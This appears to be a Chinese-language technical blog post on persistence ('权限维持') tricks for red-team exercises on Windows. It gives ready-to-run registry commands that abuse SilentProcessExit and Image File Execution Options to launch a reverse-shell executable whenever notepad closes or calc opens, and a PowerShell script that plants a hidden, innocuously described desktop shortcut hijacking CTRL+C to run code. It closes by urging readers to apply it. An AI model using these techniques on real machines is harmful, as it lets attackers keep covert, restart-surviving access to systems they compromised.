技术分享
攻防演练实战中的权限维持Tips
发布时间 · 2023-02-13

什么是权限维持?

当获取到服务器的控制权后,为了防止服务器管理员发现和修补漏洞导致对服务器权限的丢失,测试人员往往需要一些手段来实现对目标服务器的持久化访问。

持久化访问(Persistence,权限维持)技术就是包括任何可以被测试人员用来在系统重启、更改用户凭据或其他可能造成访问中断的情况发生时保持对系统的访问技术。

通俗来讲,权限维持的核心目的是让我们的木马病毒持续在线,不会因为系统重启,用户注销或者其他特殊原因下线。

下面来罗列一些权限维持中比较有趣的Tips

关闭应用程序时触发:

这种方式是在用户关闭任何进程或二进制文件时执行。
在这里演示下用户关闭notepad.exe进程时反弹 shell
为此,我们需要在 cmd 中执行 3 个命令:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\Public\Temp\shell.exe"


结果:
当我关闭notepad时,我会收到反弹的shell

打开应用程序:

这种方式是在用户打开任何进程或二进制文件时执行。
在这里掩饰下用户打开calc.exe进程时反弹 shell
我们需要在 cmd 中执行 2 个命令:

copy calc.exe _calc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\Public\Temp\shell.exe /f


结果:
当用户打开计算器时,我收到反弹的shell

LNK 文件

如果在用户桌面上放置了带有激活键的快捷方式,则每次通过调用指定的组合键来执行该快捷方式。

 

有了这些知识,我们可以将快捷键设置一个经常使用的按键组合,例如CTRL+CCTRL+VCTRL+Z等等。
注意:资源管理器只允许以 CTRL+ALT 组合开头的快捷方式。其他组合需要通过 COM 以编程方式设置。

通过 COM 制作恶意 LNK 文件

以下 PowerShell 脚本可用于创建带有自定义激活密钥的恶意快捷方式:

$path                      = "$([Environment]::GetFolderPath('Desktop'))\FakeText.lnk"
$wshell                    = New-Object -ComObject Wscript.Shell
$shortcut                  = $wshell.CreateShortcut($path)
$shortcut.IconLocation     = "C:\Windows\System32\shell32.dll,70"
$shortcut.TargetPath       = "cmd.exe"
$shortcut.Arguments        = "/c calc.exe"
$shortcut.WorkingDirectory = "C:"
$shortcut.HotKey           = "CTRL+C"
$shortcut.Description      = "Nope, not malicious"
$shortcut.WindowStyle      = 7
                           # 7 = Minimized window
                           # 3 = Maximized window
                           # 1 = Normal    window
$shortcut.Save()
(Get-Item $path).Attributes += 'Hidden' # 
如果我们想让快捷方式不可见可以这样设置

代码并不复杂:首先,在第 1 行,我们声明了一个指向受害者桌面目录的变量path。之后,我们开始慢慢修改我们的快捷方式以满足我们的需求。首先给它一个信任度高的图标,将它设置为执行恶意代码(用来演示的calc.exe)并将窗口样式设置为最小化,以便在执行快捷方式后不弹出命令提示符。此外,我们还可以通过设置Hidden属性使快捷方式在桌面隐藏。

结果:
当用户使用Ctrl + C时,将弹出计算器。

由于我们桌面快捷方式中的CTRL+C快捷键优先于Windows原本的CTRL+C,因此在受害者的机器上复制粘贴现在被破坏了,快快应用起来吧~